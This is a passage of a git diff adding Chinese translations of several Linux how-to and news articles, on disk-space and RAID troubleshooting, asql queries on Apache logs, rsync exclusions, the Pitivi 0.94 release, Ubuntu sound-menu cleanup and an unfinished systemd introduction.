/ftpusers/tmp/*.mov server2:/path/to/dest/dir/ + +4.在类UNIX系统中[找出最占磁盘空间的目录或文件][5]: + + du -a /ftpusers/tmp | sort -n -r | head -n 10 + du -cks * | sort -rn | head + +5.[清空指定文件][6]。这招对日志文件很有效: + + truncate -s 0 /ftpusers/ftp.upload.log + ### bash/sh等 ## + >/ftpusers/ftp.upload.log + ## perl ## + perl -e'truncate "filename", LENGTH' + +6.在Linux和UNIX中找出并删除显示着但已经被删除的大文件: + + ## 基于Linux/Unix/OSX/BSD等系统 ## + lsof -nP | grep '(deleted)' + + ## 只基于Linux ## + find /proc/*/fd -ls | grep '(deleted)' + +清空它: + + ## 基于Linux/Unix/OSX/BSD等所有系统 ## + > "/path/to/the/deleted/file.name" + ## 只基于Linux ## + > "/proc/PID-HERE/fd/FD-HERE" + +### #2 - 文件系统是只读模式吗? ### + +当你尝试新建或保存一个文件时,你可能最终得到诸如以下的错误: + + $ cat > file + -bash: file: Read-only file system + +运行mount命令来查看被挂载的文件系统是否处于只读状态: + + $ mount + $ mount | grep '/ftpusers' + +在基于Linux的系统中要修复这个问题,只需将这个处于只读状态的文件系统重新挂载即可: + + # mount -o remount,rw /ftpusers/tmp + +(LCTT 译注:如果硬盘由于硬件故障而 fallback 到只读模式,建议不要强制变回读写模式,而是赶快替换硬盘) + +另外,我是这样[用rw模式重新挂载FreeBSD 9.x服务器的根目录][7]的: + + # mount -o rw /dev/ad0s1a / + +### #3 - Am I running out of inodes? ### + +有时候,df命令能显示出磁盘有空余的空间但是系统却声称文件系统已经写满了。此时你需要用以下命令来检查能在文件系统中识别文件及其属性的[索引节点][8]: + + $ df -i + $ df -i /ftpusers/ + +部分输出内容: + + Filesystem Inodes IUsed IFree IUse% Mounted on + /dev/sda8 6250496 11568 6238928 1% /ftpusers + +如上 /ftpusers 下有总计62,50,496KB大小的索引节点但是只有11,568KB被使用。你可以在 /ftpusers 位置下另外创建62,38,928KB大小的文件。如果你的索引节点100%被使用了,试试看以下的选项: + +- 找出不想要的文件并删除它,或者把它移动到其它服务器上。 +- 找出不想要的大文件并删除它,或者把它移动到其它服务器上。 + +(LCTT 译注:如果一个分区存储了太多的小文件,会出现 inode 用完而存储扇区还有空闲的情况,这种情况下要么清除小文件或在不需要独立访问的情况下将它们打包成一个大文件;要么将数据保存好之后重新分区,并设置分区的 -t news 属性,增加 inode 分配) + +### #4 - 我的硬盘驱动器宕了吗? ### + +[日志文件中的输入/输出错误(例如 /var/log/messages)][9]说明硬盘出了一些问题并且可能已经失效,你可以用smartctl命令来查看硬盘的错误,这是一个在类UNIX系统下控制和监控硬盘状态的一个命令。语法如下: + + smartctl -a /dev/DEVICE + # 在Linux服务器下检查 /dev/sda + smartctl -a /dev/sda + +你也可以用"Disk Utility"这个软件来获得同样的信息。 + +[![](http://s0.cyberciti.org/uploads/l/tips/2007/07/500-GB-Hard-Disk-ATA-TOSHIBA-MK5061GSYF-dev-sda-%E2%80%94-Disk-Utility_014.png)][10] + +图 01: Gnome磁盘工具(Applications > System Tools > Disk Utility) + +> **注意**: 不要对S.M.A.R.T.工具期望太高,它在某些状况下无法工作,我们要定期做备份。 + +### #5 - 我的硬盘驱动器和服务器是不是太热了? ### + +高温会引起服务器低效,所以你需要把服务器和磁盘维持在一个平稳适当的温度,高温甚至能导致服务器宕机或损坏文件系统和磁盘。[用hddtemp或smartctl功能,通过从支持S.M.A.R.T.功能的硬盘上读取数据的方式,从而查出你的Linux或基于UNIX系统上的硬盘温度][11]。只有现代硬驱动器有温度传感器。hddtemp功能也支持从SCSI驱动器读取S.M.A.R.T.信息。hddtemp能作为一个简单的命令行工具或守护程序来从所有服务器中获取信息: + + hddtemp /dev/DISK + hddtemp /dev/sg0 + +部分输出内容如下: + +[![](http://s0.cyberciti.org/uploads/cms/2014/10/hddtemp-on-rhel-300x85.jpg)][12] + +图 02: hddtemp正在运行 + +你也可以像下面显示的那样使用smartctl命令: + + smartctl -d ata -A /dev/sda | grep -i temperature + +#### 我怎么获取CPU的温度 #### + +你可以使用Linux硬件监控工具,例如像[用基于Linux系统的lm_sensor功能来获取CPU温度][13]: + + sensors + +Debian服务器的部分输出内容: + +[![](http://s0.cyberciti.org/uploads/cms/2014/10/sensors-command-on-debian-server.jpg)][14] + +图 03: sensors命令提供了一台Linux计算机的CPU核心温度和其它信息 + +### #6 - 处理损坏的文件系统 ### + +服务器上的文件系统可能会因为硬件重启或一些其它的错误比如坏的扇区而损坏。你可以[用fsck命令来修复损坏的文件系统][15]: + + umount /ftpusers + fsck -y /dev/sda8 + +来看看[怎么应对Linux文件系统故障][16]的更多信息。 + +### #7 - 处理Linux中的软阵列 ### + +输入以下命令来查看Linux软阵列的最近状态: + + ## 获得 /dev/md0 上磁盘阵列的具体内容 ## + mdadm --detail /dev/md0 + + ## 查看状态 ## + cat /proc/mdstat + watch cat /proc/mdstat + +部分输出内容: + +[![](http://s0.cyberciti.org/uploads/cms/2014/10/linux-mdstat-output.jpg)][17] + +图 04: 查看Linux软阵列状态命令 + +你需要把有故障的硬件驱动器更换掉,别删错了。本例中,我更换了 /dev/sdb (RAID 6中的第二个硬件驱动器)。没必要依靠离线存储文件来修复Linux上的磁盘阵列,因为这只在你的服务器支持热插拔硬盘的情况下才能工作: + + ## 从一个md0阵列中删除磁盘 ## + mdadm --manage /dev/md0 --fail /dev/sdb1 + mdadm --manage /dev/md0 --remove /dev/sdb1 + + # 对 /dev/sdbX 的剩余部分做相同操作 ## + # 如果不是热插拔硬盘就执行关机操作 ## + shutdown -h now + + ## 从 /dev/sda 复制分区表至新的 /dev/sdb 下 ## + sfdisk -d /dev/sda | sfdisk /dev/sdb + fdisk -l + + ## 添加 ## + mdadm --manage /dev/md0 --add /dev/sdb1 + # 对 /dev/sdbX 的剩余部分做相同操作 ## + + # 现在md0会再次同步,通过显示屏查看 ## + watch cat /proc/mdstat + +来看看[加快Linux磁盘阵列同步速度的小贴士][18]来获取更多信息。 + +### #8 - 处理硬阵列 ### + +你可以用samrtctl命令或者供应商特定的命令来查看磁盘阵列和你所管理的磁盘的状态: + + ## SCSI磁盘 + smartctl -d scsi --all /dev/sgX + + ## Adaptec磁盘阵列 + /usr/StorMan/arcconf getconfig 1 + + ## 3ware磁盘阵列 + tw_cli /c0 show + +对照供应商特定文档来更换你的故障磁盘。 + +### 监控磁盘的健康状况 ### + +来看看我们先前的教程: + +1. [Monitoring hard disk health with smartd under Linux or UNIX operating systems][19] +1. [Shell script to watch the disk space][20] +1. [UNIX get an alert when disk is full][21] +1. [Monitor UNIX / Linux server disk space with a shell scrip][22] +1. [Perl script to monitor disk space and send an email][23] +1. [NAS backup server disk monitoring shell script][24] + +### 结论 ### + +我希望以上这些小贴士会帮助你改善在基于Linux/Unix服务器上的系统磁盘问题。我还建议执行一个好的备份计划从而有能力从磁盘故障、意外的文件删除操作、文件损坏和服务器完全被破坏等意外情况中恢复: + +- [Debian / Ubuntu: Install Duplicity for encrypted backup in cloud][25] +- [HowTo: Backup MySQL databases, web server files to a FTP server automatically][26] +- [How To Set Red hat & CentOS Linux remote backup / snapshot server][27] +- [Debian / Ubuntu Linux install and configure remote filesystem snapshot with rsnapshot incremental backup utility][28] +- [Linux Tape backup with mt And tar command tutorial][29] + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/datacenter/linux-unix-bsd-osx-cannot-write-to-hard-disk/ + +作者:[nixCraft][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.cyberciti.biz/tips/about-us +[1]:http://www.cyberciti.biz/faq/howto-create-lage-files-with-dd-command/ +[2]:http://www.cyberciti.biz/howto/question/general/compress-file-unix-linux-cheat-sheet.php +[3]:http://www.cyberciti.biz/faq/howto-linux-unix-delete-remove-file/ +[4]:http://www.cyberciti.biz/faq/linux-unix-bsd-appleosx-rsync-delete-file-after-transfer/ +[5]:http://www.cyberciti.biz/faq/how-do-i-find-the-largest-filesdirectories-on-a-linuxunixbsd-filesystem/ +[6]:http://www.cyberciti.biz/faq/truncate-large-text-file-in-unix-linux/ +[7]:http://www.cyberciti.biz/faq/howto-freebsd-remount-partition/ +[8]:http://www.cyberciti.biz/tips/understanding-unixlinux-filesystem-inodes.html +[9]:http://www.cyberciti.biz/tips/linux-find-out-if-harddisk-failing.html +[10]:http://www.cyberciti.biz/tips/linux-find-out-if-harddisk-failing.html +[11]:http://www.cyberciti.biz/tips/howto-monitor-hard-drive-temperature.html +[12]:http://www.cyberciti.biz/datacenter/linux-unix-bsd-osx-cannot-write-to-hard-disk/attachment/hddtemp-on-rhel/ +[13]:http://www.cyberciti.biz/faq/howto-linux-get-sensors-information/ +[14]:http://www.cyberciti.biz/datacenter/linux-unix-bsd-osx-cannot-write-to-hard-disk/attachment/sensors-command-on-debian-server/ +[15]:http://www.cyberciti.biz/tips/repairing-linux-ext2-or-ext3-file-system.html +[16]:http://www.cyberciti.biz/tips/surviving-a-linux-filesystem-failures.html +[17]:http://www.cyberciti.biz/datacenter/linux-unix-bsd-osx-cannot-write-to-hard-disk/attachment/linux-mdstat-output/ +[18]:http://www.cyberciti.biz/tips/linux-raid-increase-resync-rebuild-speed.html +[19]:http://www.cyberciti.biz/tips/monitoring-hard-disk-health-with-smartd-under-linux-or-unix-operating-systems.html +[20]:http://www.cyberciti.biz/tips/shell-script-to-watch-the-disk-space.html +[21]:http://www.cyberciti.biz/faq/mac-osx-unix-get-an-alert-when-my-disk-is-full/ +[22]:http://bash.cyberciti.biz/monitoring/shell-script-monitor-unix-linux-diskspace/ +[23]:http://www.cyberciti.biz/tips/howto-write-perl-script-to-monitor-disk-space.html +[24]:http://bash.cyberciti.biz/backup/monitor-nas-server-unix-linux-shell-script/ +[25]:http://www.cyberciti.biz/faq/duplicity-installation-configuration-on-debian-ubuntu-linux/ +[26]:http://www.cyberciti.biz/tips/how-to-backup-mysql-databases-web-server-files-to-a-ftp-server-automatically.html +[27]:http://www.cyberciti.biz/faq/redhat-cetos-linux-remote-backup-snapshot-server/ +[28]:http://www.cyberciti.biz/faq/linux-rsnapshot-backup-howto/ +[29]:http://www.cyberciti.biz/faq/linux-tape-backup-with-mt-and-tar-command-howto/ diff --git a/published/201412/20141030 How to run SQL queries against Apache log files on Linux.md b/published/201412/20141030 How to run SQL queries against Apache log files on Linux.md new file mode 100644 index 0000000000..e83202c48f --- /dev/null +++ b/published/201412/20141030 How to run SQL queries against Apache log files on Linux.md @@ -0,0 +1,145 @@ +如何在 Linux 上用 SQL 语句来查询 Apache 日志 +================================================ + +Linux 有一个显著的特点,在正常情况下,你可以通过日志分析系统日志来了解你的系统中发生了什么,或正在发生什么。的确,系统日志是系统管理员在解决系统和应用问题时最需要的第一手资源。我们将在这篇文章中着重讲解 Apache HTTP web server 生成的 Apache access 日志。 + +这次,我们会通过另类的途径来分析 Apache access 日志,我们使用的工具是 [asql][1]。asql 是一个开源的工具,它能够允许使用者使用 SQL 语句来查询日志,从而通过更加友好的格式展现相同的信息。 + +### Apache 日志背景知识 ### + +Apache 有两种日志: + +- **Access log**:存放在路径 /var/log/apache2/access.log (Debian) 或者 /var/log/httpd/access_log (Red Hat)。Access Log 记录所有 Apache web server 执行的请求。 +- **Error log**:存放在路径 /var/log/apache2/error.log (Debian) 或者 /var/log/httpd/error_log (Red Hat)。Error log 记录所有 Apache web server 报告的错误以及错误的情况。Error 情况包括(不限于)403(Forbidden,通常在请求被拒绝访问时被报告),404(Not found,在请求资源不存在时被报告)。 + +虽然管理员可以通过配置 Apache 的配置文件来自定义 Apache access log 的详细程度,不过在这篇文章中,我们会使用默认的配置,如下: + + 远程 IP - 请求时间 - 请求类型 - 响应代码 - 请求的 URL - 远程的浏览器信息 (也许包含操作系统信息) + +因此一个典型的 Apache 日志条目就是下面这个样子: + + 192.168.0.101 - - [22/Aug/2014:12:03:36 -0300] "GET /icons/unknown.gif HTTP/1.1" 200 519 "http://192.168.0.10/test/projects/read_json/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0" + +但是 Apache error log 又是怎么样的呢?因为 error log 条目主要记录 access log 中特殊的请求(你可以自定义),所以你可以通过 access log 来获得关于错误情况的更多信息(example 5 有更多细节)。 + +此外要提前说明的, access log 是系统级别的日志文件。要分析虚拟主机的日志文件,你需要检查它们相应的配置文件(例如: 在 /etc/apache2/sites-available/[virtual host name] 里(Debian))。 + +### 在 Linux 上安装 asql ### + +asql 由 Perl 编写,而且需求以下两个 Perl 模块:SQLite 的 DBI 驱动以及 GNU readline。 + +### 在 Debian, Ubuntu 以及其衍生发行版上安装 asql ### + +使用基于 Debian 发行版上的 aptitude,asql 以及其依赖会被自动安装。 + + # aptitude install asql + +### 在 Fedora,CentOS,RHEL 上安装 asql ### + +在 CentOS 或 RHEL 上,你需要启用 [EPEL repository][2],然后运行以下代码。在 Fedora 中,直接运行以下代码: + + # sudo yum install perl-DBD-SQLite perl-Term-Readline-Gnu + # wget http://www.steve.org.uk/Software/asql/asql-1.7.tar.gz + # tar xvfvz asql-1.7.tar.gz + # cd asql + # make install + +### asql 是如何工作的? ### + +从上面代码中的依赖中你就可以看出来,asql 转换未结构化的明文 Apache 日志为结构化的 SQLite 数据库信息。生成的 SQLite 数据库可以接受正常的 SQL 查询语句。数据库可以通过当前以及之前的日志文件生成,其中也包括压缩转换过的日志文件,类似 access.log.X.gz 或者 access_log.old。 + +首先,从命令行启动 asql: + + # asql + +你会进入 asql 内置的 shell 交互界面。 + +![](https://farm8.staticflickr.com/7493/15477783969_ebedc61afc_o.png) + +输入 help 列表可执行的命令: + +![](https://farm8.staticflickr.com/7471/15478852650_ffed84ddc2_o.png) + +首先在 asql 中加载所有的 access 日志: + + asql > load + +比如在 Debian 下: + + asql > load /var/log/apache2/access.* + +在 CentOS/RHEL 下: + + asql > load /var/log/httpd/access_log* + +当 asql 完成对 access 日志的加载后,我们就可以开始数据库查询了。注意一下,加载后生成的数据库是 "temporary" (临时)的,意思就是数据库会在你退出 asql 的时候被清除。如果你想要保留数据库,你必须先将其保存为一个文件。我们会在后面介绍如何这么做(参考 example 3 和 4)。 + +![](https://farm8.staticflickr.com/7489/15044293173_f21e38692b_o.png) + +生成的数据库有一个名为 logs 的表。输入下面的命令列出 logs 表中提供的域: + +![](https://farm4.staticflickr.com/3955/15664433685_465e8f47bd_o.png) + +一个名为 .asql 的隐藏文件,保存于用户的 home 目录下,记录用户在 asql shell 中输入的命令历史。因此你可以使用方向键浏览命令历史,按下 ENTER 来重复执行之前的命令。 + +### asql 上的示例 SQL 查询 ### + +下面是几个使用 asql 针对 Apache 日志文件运行 SQL 查询的示例: + +**Example 1**:列出在 2014 年 10 月中请求的来源 / 时间以及 HTTP 状态码。 + + SELECT source, date, status FROM logs WHERE date >= '2014-10-01T00:00:00' ORDER BY source; + +![](https://farm8.staticflickr.com/7488/15664433665_dde4ac1319_z.jpg) + +**Example 2**:从小到大显示单个客户端处理的请求大小(bytes)。 + + SELECT source, SUM(size), AS NUMBER FROM logs GROUP BY source ORDER BY Number DESC; + +![](https://farm4.staticflickr.com/3938/15478271548_369541b56c_z.jpg) + +**Example 3**:在当前目录中保存数据库为 [filename]。 + + save [filename] + +![](https://farm8.staticflickr.com/7576/15664433645_16510d8938_o.png) + +这样做可以避免使用 load 命令对日志的语法分析所占用的处理时间。 + +**Example 4**:在重新进入 asql 后载入数据库。 + + restore [filename] + +![](https://farm4.staticflickr.com/3941/15664433635_737e714780_o.png) + +**Example 5**:返回 access 日志中记录的 error 情况。在这个例子中,我们将显示所有返回 HTTP 状态码为 403(access forbidden)的请求。 + + SELECT source, date, status, request FROM logs WHERE status='403' ORDER BY date + +![](https://farm8.staticflickr.com/7551/15478271518_0444582a3d_z.jpg) + +这个例子想要表现的是:虽然 asql 只分析 access 日志,我们还是可以通过使用请求的状态域来显示有 error 情况的请求。 + +### 小结: ### + +我们体验了 asql 如何帮助我们分析 Apache 日志文件,并将结果通过友好的格式输出。虽然你也可以通过使用命令行的工具(例如 cat 与 grep,uniq,sort,wc 等等之间的管道)来实现类似功能,与此比较起来 asql 展示了它如同瑞士军刀一般的强大功能,使我们在自己的需求下能够通过标准 SQL 查询语句来过滤日志。 + +希望这篇教程能帮助到你们。 + +请不要拘束地将评论文章,分享文章,提出疑问。 + + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/sql-queries-apache-log-files-linux.html + +作者:[Gabriel Cánepa][a] +译者:[ThomazL](https://github.com/ThomazL) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:http://www.steve.org.uk/Software/asql/ +[2]:http://xmodulo.com/how-to-set-up-epel-repository-on-centos.html + diff --git a/published/201412/20141030 rsync Command to Exclude a List of Files and Directories in Linux.md b/published/201412/20141030 rsync Command to Exclude a List of Files and Directories in Linux.md new file mode 100644 index 0000000000..ecd68a2828 --- /dev/null +++ b/published/201412/20141030 rsync Command to Exclude a List of Files and Directories in Linux.md @@ -0,0 +1,43 @@ +Linux中使用rsync——文件和目录排除列表 +================================================================================ +**rsync**是一个十分有用,而且十分流行的linux工具。它用于备份和恢复文件,也用于对比和同步文件。我们已经在前面的文章讲述了[如何在Linux下使用rsync][1],而今天我们将增加一些更为有用的rsync使用技巧。 + +### 排除文件和目录列表 ### + +有时候,当我们做大量同步的时候,我们可能想要从同步的文件和目录中排除一个文件和目录的列表。一般来说,像设备文件和某些系统文件,或者像临时文件或者缓存文件这类占据不必要磁盘空间的文件是不合适同步的,这类文件是我们需要排除的。 + +首先,让我们创建一个名为“excluded”的文件(当然,你想取什么名都可以),然后将我们想要排除的文件夹或文件写入该文件,一行一个。在我们的例子中,如果你想要对根分区进行完整的备份,你应该排除一些在启动时创建的设备目录和放置临时文件的目录,列表看起来像下面这样: + +![rsync excluded](http://blog.linoxide.com/wp-content/uploads/2014/10/rsync-excluded.jpg) + +然后,你可以运行以下命令来备份系统: + + $ sudo rsync -aAXhv --exclude-from=excluded / /mnt/backup + +![rsync exclude file](http://blog.linoxide.com/wp-content/uploads/2014/10/rsync-exclude-file.jpg) + +### 从命令行排除文件 ### + +你也可以从命令行直接排除文件,该方法在你要排除的文件数量较少,并且在你想要将它写成脚本或加到crontab中又不想脚本或cron依赖于另外一个文件运行时十分有用。 + + +例如,如果你想要同步/var到一个备份目录,但是你不想要包含cache和tmp这些通常不会有重要内容的文件夹,你可以使用以下命令: + + $ sudo rsync -aAXhv --exclude={"/var/cache","/var/tmp"} /var /home/adrian/var + +![rsync exclude](http://blog.linoxide.com/wp-content/uploads/2014/10/rsync-exclude.jpg) + +该命令易于在脚本或cron中使用,也不会依赖其它文件。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/exclude-files-rsync-examples/ + +作者:[Adrian Dinu][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/adriand/ +[1]:http://linux.cn/article-4503-1.html diff --git a/published/201412/20141104 Pitivi 0.94 Uses GTK HeaderBar, Squashes Umpteen Bugs.md b/published/201412/20141104 Pitivi 0.94 Uses GTK HeaderBar, Squashes Umpteen Bugs.md new file mode 100644 index 0000000000..9881a08491 --- /dev/null +++ b/published/201412/20141104 Pitivi 0.94 Uses GTK HeaderBar, Squashes Umpteen Bugs.md @@ -0,0 +1,81 @@ +Pitivi 0.94 切换到 GTK HeaderBar,修复无数 Bugs +===================================== + +** 我是 [Pitivi 视频编辑器][1] 的狂热爱好者。Pitivi 可能不是(至少现在不是)Linux 上可用的、最拉风的、功能完善的、非线性视频编辑器,但是它绝对是最可靠的一个。 ** + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/pitivi-tile.jpg) + +自然而然地,我一直在期待这个开源视频编辑器[这次][2]发布的新的 beta 测试版。 + +Pitivi 0.94 是基于新的 “GStreamer Editing Service”(GES)的第四个发行版本。 + +开发组成员 Jean-François Fortin Tam(“Nekohayo”)将本次升级描述为 “**...主要作为一个维护版本发布,但是除了对 Bug 的修复之外,还是增加了几个有意思的改进和功能。**” + +### 有什么新改进? ### + +有不少有意思的改进!作为 Pitivi 0.94 版本中最明显的变化,Pitivi 添加了如同 GNOME 客户端一般的 GTK HeaderBar 装饰。HeaderBar 整合了桌面窗口栏,标题栏以及工具栏,节省了大块浪费的垂直以及水平的占用空间。 + +“*当你用过一次后,你就再也不会走了*” Fortin Tam 介绍说。欣赏一下下面这张截图,你肯定会同意的。 + +![Pitivi now uses GTK HeaderBar and menu button (image: Nekohayo)](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/pitivi-0.94-headerbar.jpeg) + +*Pitivi 现在使用了 GTK HeaderBar 以及菜单键。(image: Nekohayo)* + +那么应用菜单又怎么样呢?别担心,应用菜单遵循了 GNOME 交互界面的标准,看一下自己机器上的应用菜单确认一下吧。 + +#### Fixes, Fixes, Fixes #### + +这次发布版本还囊括了大量的重要的 bug 修复,包括在 GNOME Shell 之外或基于损坏的 [COGL][3] 版本的 Linux 发行版(是的,Ubuntu 也是)运行 Pitivi 所产生的 bug。 + +其他的: + +- 改进首次安装时 UI 部件的位置调整 + +- 启动时未固定的窗口组件不再随意移位 + +- 在视频属性中可以记录编辑的效果 + +- 精简修改标题功能的 UI + +- 修复全局撤销/重做 + +- 重新调试时间轴的 UI 动画 + +- 移植编辑器到 Python 3 + +在 [官方发布记录][4] 里有更多细节。 + +### 进一步提升 ### + +上面这些信息听起来都很不错吧?下一次更新会更好!这不只是一个通常的来自开发者的夸张,如同 Jean François 解释的一般: + +> “下一次更新(0.95)会运行在令人难以置信的强大的后端上。感谢 Mathieu [Duponchelle] 和 Thibault [Saunier] 在用 NLE(新的为了 GES 的非线性引擎)替代 GNonLin 并修复问题等工作中做出的努力。” + +Ubuntu 14.10 带有老的(更容易崩溃)的软件中心,进入 Pitivi 官网下载 [安装包][5] 来体验最新杰作。 + +**Pitivi 基金会筹了将近 €20,000,使我们能够向着约定的 1.0 版本迈出一大步。如果你也想早点看到 1.0 版本的到来的话,省下你在星巴克买的格郎德香草奶油咖啡,捐赠我们!** + + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/11/pitivi-0-94-header-bar-more-features + +作者:[Joey-Elijah Sneddon][a] +译者:[ThomazL](https://github.com/ThomazL) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://pitivi.org/ +[2]:http://jeff.ecchi.ca/blog/2014/11/02/tricks-or-tracebacks-pitivi-0-94-is-here/ +[3]:http://www.cogl3d.org/about.html +[4]:http://wiki.pitivi.org/wiki/0.94 +[5]:http://fundraiser.pitivi.org/download-bundles +[6]:http://www.omgubuntu.co.uk/2014/02/pitivi-video-editor-fundraising-campaign + + + + + + diff --git a/published/201412/20141112 How to Remove Music Players from Ubuntu Sound Menu.md b/published/201412/20141112 How to Remove Music Players from Ubuntu Sound Menu.md new file mode 100644 index 0000000000..4595a3c8e5 --- /dev/null +++ b/published/201412/20141112 How to Remove Music Players from Ubuntu Sound Menu.md @@ -0,0 +1,68 @@ +如何从Ubuntu的声音菜单中移除音乐播放器 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/music-players.jpg) + +**自从2010年首次出现,Ubuntu 的声音菜单已经被证明是Unity 桌面上的最流行的独有特性之一。** + +把音乐播放器与音量控制程序集成到一个标准的界面里是一种看起来很聪明的做法,这样就不用到处找声音相关的各种程序。人们不禁要问,为什么其它操作系统没有效仿这种做法! + +#### 臃肿 #### + +尽管它看起来很方便,但是这个小应用当前存在一个问题:很多播放器都堆在一起,像一个组合音响一样。也许你用得着,但是你安装的所有的媒体播放器都挤在这里,这会让人看着很累赘和反感。 + +我将要打赌,当你读到这里时,一定发现上面的截图看起来很熟悉!不要担心,**dconf-editor**可以解决它。 + +### 从Ubuntu 声音菜单中移除播放器 ### + +#### 第一部分: 基础知识 #### + +最快速和最简单地从声音菜单中移除播放器的方法就是卸载相关的应用程序。但这是极端的方式,我的意思是指你也许想要保留应用程序,但是不需要它集成到菜单里面。 + +只删除播放器但是保留我们需要的应用程序,我们用到一个看起来令人惊讶的工具叫“dconf-editor”。 + +你可能已经安装了,如果没有安装的话,那么你从Ubuntu软件中心找出。 + +- [在Ubuntu中点击安装Dconf-Editor][1] + +一旦安装完毕,找到Unity Dash并打开。打开的时候不要惊慌;你没有到2002年,它确实是这种古老的样子。 + +使用右侧菜单栏,你需要从导航到 com > canonical > indicator > sound.下面的面板将会出现。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/dconf-editor.jpg) + +双击“interested-media-players”旁的闭括号,并删除你希望从声音菜单里移除掉的播放器,但需要保留方括号中,且不要删除任何需要保留的逗号或者单引号。 + +举个例子,我移除掉这些 + +‘**rhythmbox.desktop**’, ‘**pithos.desktop**’, ‘**clementine.desktop**’, + +这样就好留了一行如下: + + ['tomahawk.desktop'] + +现在,当我再打开声音菜单时,我只看到Tomahawk: + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/music-players-2.jpg) + +#### 第二部分:黑名单 #### + +等等!还不能关闭dconf-editor。尽管上面的步骤看起来把事情处理得干净利落,但是一些播放器在打开时会立即重新加载到声音菜单。为了避免重复这个过程,将它们添加到**blacklisted-media-player**中。 + +记得每个在括号里的播放器都用逗号分隔多个条目。他们也必须在方括号内,所以在退出之前请务必仔细检查。 + +最终结果如下: + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/10/from-to-.jpg) + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/11/remove-players-ubuntu-sound-menu + +作者:[Joey-Elijah Sneddon][a] +译者:[disylee](https://github.com/译者ID) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:apt://dconf-editor diff --git a/published/201412/20141112 Intro to Systemd Runlevels and Service Management Commands.md b/published/201412/20141112 Intro to Systemd Runlevels and Service Management Commands.md new file mode 100644 index 0000000000..e876a205f4 --- /dev/null +++ b/published/201412/20141112 Intro to Systemd Runlevels and Service Management Commands.md @@ -0,0 +1,127 @@ +systemd的运行级别与服务管理命令简介 +================================================================================ +![](http://www.linux.com/images/stories/41373/Linux_kernel_unified_hierarchy_cgroups_and_systemd.svg.png) + +从很久很久以前我们就在使用静态运行级别。而systemd提供了更为动态灵活的机制,来管控你的系统。 + +在开始介绍systemd命令前,让我们先简单的回顾一下历史。在Linux世界里,有一个很奇怪的现象,一方面Linux和自由软件(FOSS)在不断的向前推进,另一方面人们对这些变化却不断的抱怨。这就是为什么我要在此稍稍提及那些反对systemd所引起的争论的原因,因为我依然记得历史上有不少类似的争论: + +- 软件包(Pacakge)是邪恶的,因为真正的Linux用户会从源码构建他所想要的的一切,并严格的管理系统中安装的软件。 +- 解析依赖关系的包管理器是邪恶的,真正的Linux用户会手动解决这些该死的依赖关系。 +- apt-get总能把事情干好,所以只有Yum是邪恶的。 +- Red Hat简直就是Linux中的微软。 +- 好样的,Ubuntu! +- 滚蛋吧,Ubuntu! + +诸如此类...就像我之前常常说的一样,变化总是让人沮丧。这些该死的变化搅乱了我的工作流程,这可不是一件小事情,任何业务流程的中断,都会直接影响到生产力。但是,我们现在还处于计算机发展的婴儿期,在未来的很长的一段时间内将会持续有快速的变化和发展。想必大家应该都认识一些因循守旧的人,在他们的心里,商品一旦买回家以后就是恒久不变的,就像是买了一把扳手、一套家具或是一个粉红色的火烈鸟草坪装饰品。就是这些人,仍然在坚持使用Windows Vista,甚至还有人在使用运行Windows 95的老破烂机器和CRT显示器。他们不能理解为什么要去换一台新机器。老的还能用啊,不是么? + +这让我回忆起了我在维护老电脑上的一项伟大的成就,那台破电脑真的早就该淘汰掉。从前我有个朋友有一台286的老机器,安装了一个极其老的MS-DOS版本。她使用这台电脑来处理一些简单的任务,比如说约会、日记、记账等,我还用BASIC给她写了一个简单的记账软件。她不用关注任何安全更新,是这样么?因为它压根都没有联网。所以我会时不时给她维修一下电脑,更换电阻、电容、电源或者是CMOS电池什么的。它竟然还一直能用。它那袖珍的琥珀CRT显示器变得越来越暗,在使用了20多年后,终于退出了历史舞台。现在我的这位朋友,换了一台运行Linux的老Thinkpad,来干同样的活。 + +前面的话题有点偏题了,下面抓紧时间开始介绍systemd。 + +###运行级别 vs. 状态### + +SysVInit使用静态的运行级别来构建不同的启动状态,大部分发布版本中提供了以下5个运行级别: + +- 单用户模式(Single-user mode) +- 多用户模式,不启动网络服务(Multi-user mode without network services started) +- 多用户模式,启动网络服务(Multi-user mode with network services started) +- 系统关机(System shutdown) +- 系统重启(System reboot) + +对于我来说,使用多个运行级别并没有太大的好处,但它们却一直在系统中存在着。 不同于运行级别,systemd可以创建不同的状态,状态提供了灵活的机制来设置启动时的配置项。这些状态是由多个unit文件组成的,状态又叫做启动目标(target)。启动目标有一个清晰的描述性命名,而不是像运行级别那样使用数字。unit文件可以控制服务、设备、套接字和挂载点。参考下/usr/lib/systemd/system/graphical.target,这是CentOS 7默认的启动目标: + + [Unit] + Description=Graphical Interface + Documentation=man:systemd.special(7) + 